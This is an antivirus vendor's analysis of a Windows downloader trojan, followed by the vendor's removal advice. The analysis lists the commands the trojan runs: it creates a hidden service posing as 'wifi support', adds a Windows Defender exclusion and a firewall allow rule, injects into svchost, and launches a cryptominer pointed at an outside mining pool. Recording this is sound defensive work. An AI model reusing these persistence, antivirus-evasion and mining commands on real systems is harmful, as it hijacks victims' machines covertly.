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Trojan.DownLoader30.32584

Added to the Dr.Web virus database: 2019-10-31

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following services
  • [<HKLM>\System\CurrentControlSet\Services\firffoaz] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\firffoaz] 'ImagePath' = '%WINDIR%\SysWOW64\firffoaz\plddapoc.exe /d"<Full path to file>"'
  • [<HKLM>\SYSTEM\CurrentControlSet\services\firffoaz] 'ImagePath' = '%WINDIR%\SysWOW64\firffoaz\plddapoc.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
  • [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\firffoaz' = '00000000'
Executes the following
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
  • %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
  • %TEMP%\plddapoc.exe
  • %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
  • from %TEMP%\plddapoc.exe to %WINDIR%\syswow64\firffoaz\plddapoc.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
  • http://www.google.com/
UDP
  • DNS ASK mi##########m.mail.protection.outlook.com
  • DNS ASK th###hold.ws
  • DNS ASK ep###ames.com
  • DNS ASK ma##.goodi.com
  • DNS ASK go##i.com
  • DNS ASK ma##.#ullcc.gov.uk
  • DNS ASK hu###c.gov.uk
  • DNS ASK aspmx.l.google.com
  • DNS ASK al###i.unav.es
  • DNS ASK al###os.uva.es
  • DNS ASK mx##.#uc.rediris.es
  • DNS ASK mo####r.arq.uva.es
  • DNS ASK ma##.#ope-mail.com
  • DNS ASK mx##.mb1p.com
  • DNS ASK google.com
  • DNS ASK alt1.aspmx.l.google.com
  • DNS ASK th####oldstate.com
  • DNS ASK eu#.###.#rotection.outlook.com
  • DNS ASK ho##ail.it
  • DNS ASK ALT2.ASPMX.L.GOOGLE.COM
  • DNS ASK ar#.es
  • DNS ASK ma##.#hresholds.net
  • DNS ASK th###holds.net
  • DNS ASK mx#.#use.net
  • DNS ASK fu##.net
  • DNS ASK ca###lcards.com
  • DNS ASK ca###spain.es
  • DNS ASK mx##########tral-1.prod.hydra.sophos.com
  • DNS ASK ca##esur.es
  • DNS ASK ge###tgroup.com
  • DNS ASK in###gram.com
  • DNS ASK cx#.##.#.cloudfilter.net
  • DNS ASK co#.net
  • DNS ASK ad#####mx402.alcoa.com
  • DNS ASK al##a.com
  • DNS ASK sm##.##cureserver.net
  • DNS ASK as###nics.net
  • DNS ASK ne##ol.com
  • DNS ASK ti##way.ws
  • DNS ASK mt#.inet.fi
  • DNS ASK qu####et.inet.fi
  • DNS ASK mx.###mexperts.com
  • DNS ASK ar##ired.es
  • DNS ASK mx.##paex.es
  • DNS ASK de##ex.es
  • DNS ASK ma##.aarkel.com
  • DNS ASK aa##el.com
  • DNS ASK sm##.#du.xunta.es
  • DNS ASK ed#.#unta.es
  • DNS ASK mx#.######deempresas.telefonica.es
  • DNS ASK tp#.#nfomail.es
  • DNS ASK mx.###zta.onet.pl
  • DNS ASK on#t.eu
  • DNS ASK mx.####iciodecorreo.es
  • DNS ASK mx#.#omcast.net
  • DNS ASK wa###ing.com
  • DNS ASK co##ast.net
  • DNS ASK th####nreuters.com
  • DNS ASK de###bat.com
  • DNS ASK ms#####p-mx2.hinet.net
  • DNS ASK ms##.hinet.net
  • DNS ASK th#####magazines.co.uk
  • DNS ASK mx.###cali.co.uk
  • DNS ASK ti###li.co.uk
  • DNS ASK ma###.#mandes.com.ar
  • DNS ASK sm###es.com.ar
  • DNS ASK lc##z.com
  • DNS ASK ho#########.olc.protection.outlook.com
  • DNS ASK ho##ail.com
  • DNS ASK ch##ter.net
  • DNS ASK hk.####n.herominers.com
  • DNS ASK mt##.##0.yahoodns.net
  • DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
  • DNS ASK ya##o.com
  • DNS ASK 19#.###.#11.95.zen.spamhaus.org
  • DNS ASK ff######x-vip1.prodigy.net
  • DNS ASK be###outh.net
  • DNS ASK 19#.###.#11.95.bl.spamcop.net
  • DNS ASK mx####.##il.gm0.yahoodns.net
  • DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
  • DNS ASK ao#.com
  • DNS ASK 19#.###.211.95.in-addr.arpa
  • DNS ASK 19#.###.#11.95.cbl.abuseat.org
  • DNS ASK mx#.#harter.net
  • DNS ASK li###delta.com
  • DNS ASK li###gcare.com
  • DNS ASK alt1.gmail-smtp-in.l.google.com
  • DNS ASK gm##l.com
  • DNS ASK sm######t.appliedexch.com
  • DNS ASK ca#####geinsurance.net
  • DNS ASK in###nline.net
  • DNS ASK ea###link.net
  • DNS ASK mx.####o.locaweb.com.br
  • DNS ASK gl##o.com
  • DNS ASK p.####om.ctmail.com
  • DNS ASK ca###gen.com
  • DNS ASK ho###sil.com
  • DNS ASK ms#.#inet.net
  • DNS ASK wi####ssliberty.net
  • DNS ASK mx#.##rthlink.net
  • DNS ASK sp##net.com
  • DNS ASK mx######b2d01.pphosted.com
  • DNS ASK us.#bm.com
  • DNS ASK ms#####p-mx1.hinet.net
  • DNS ASK sa####v.vdiweb.com
  • DNS ASK e5.##.us.ibm.com
  • DNS ASK ra###nal.com
  • DNS ASK mx#######c01.gslb.pphosted.com
  • DNS ASK ti###oint.com
  • DNS ASK sm###.#ke.securence.com
  • DNS ASK oa##t.com
  • DNS ASK mx.####.thomsonreuters.com
  • DNS ASK mx#####.yovocloud.com
Miscellaneous
Creates and executes the following
  • '%WINDIR%\syswow64\firffoaz\plddapoc.exe' /d"<Full path to file>"
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\firffoaz\' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\plddapoc.exe" %WINDIR%\SysWOW64\firffoaz\' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' create firffoaz binPath= "%WINDIR%\SysWOW64\firffoaz\plddapoc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' description firffoaz "wifi internet conection"' (with hidden window)
  • '%WINDIR%\syswow64\sc.exe' start firffoaz' (with hidden window)
  • '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\firffoaz\
  • '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\plddapoc.exe" %WINDIR%\SysWOW64\firffoaz\
  • '%WINDIR%\syswow64\sc.exe' create firffoaz binPath= "%WINDIR%\SysWOW64\firffoaz\plddapoc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
  • '%WINDIR%\syswow64\sc.exe' description firffoaz "wifi internet conection"
  • '%WINDIR%\syswow64\sc.exe' start firffoaz
  • '%WINDIR%\syswow64\svchost.exe'
  • '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p 3 -k

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

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